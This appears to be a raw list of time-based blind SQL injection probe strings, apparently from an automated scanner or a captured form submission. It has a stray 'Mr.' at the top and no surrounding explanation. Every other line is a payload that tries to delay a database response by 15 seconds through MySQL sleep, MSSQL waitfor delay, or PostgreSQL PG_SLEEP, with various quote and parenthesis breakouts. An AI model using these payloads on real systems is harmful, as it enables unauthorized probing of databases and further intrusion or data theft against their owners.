Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

XCCBUErZ'); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

o9eYmaS0')); waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

IU6Bbdfw' OR 84=(SELECT 84 FROM PG_SLEEP(15))--

-1)); waitfor delay '0:0:15' --

WgHezFfa') OR 19=(SELECT 19 FROM PG_SLEEP(15))--

1 waitfor delay '0:0:15' --

o8qLPrUt')) OR 680=(SELECT 680 FROM PG_SLEEP(15))--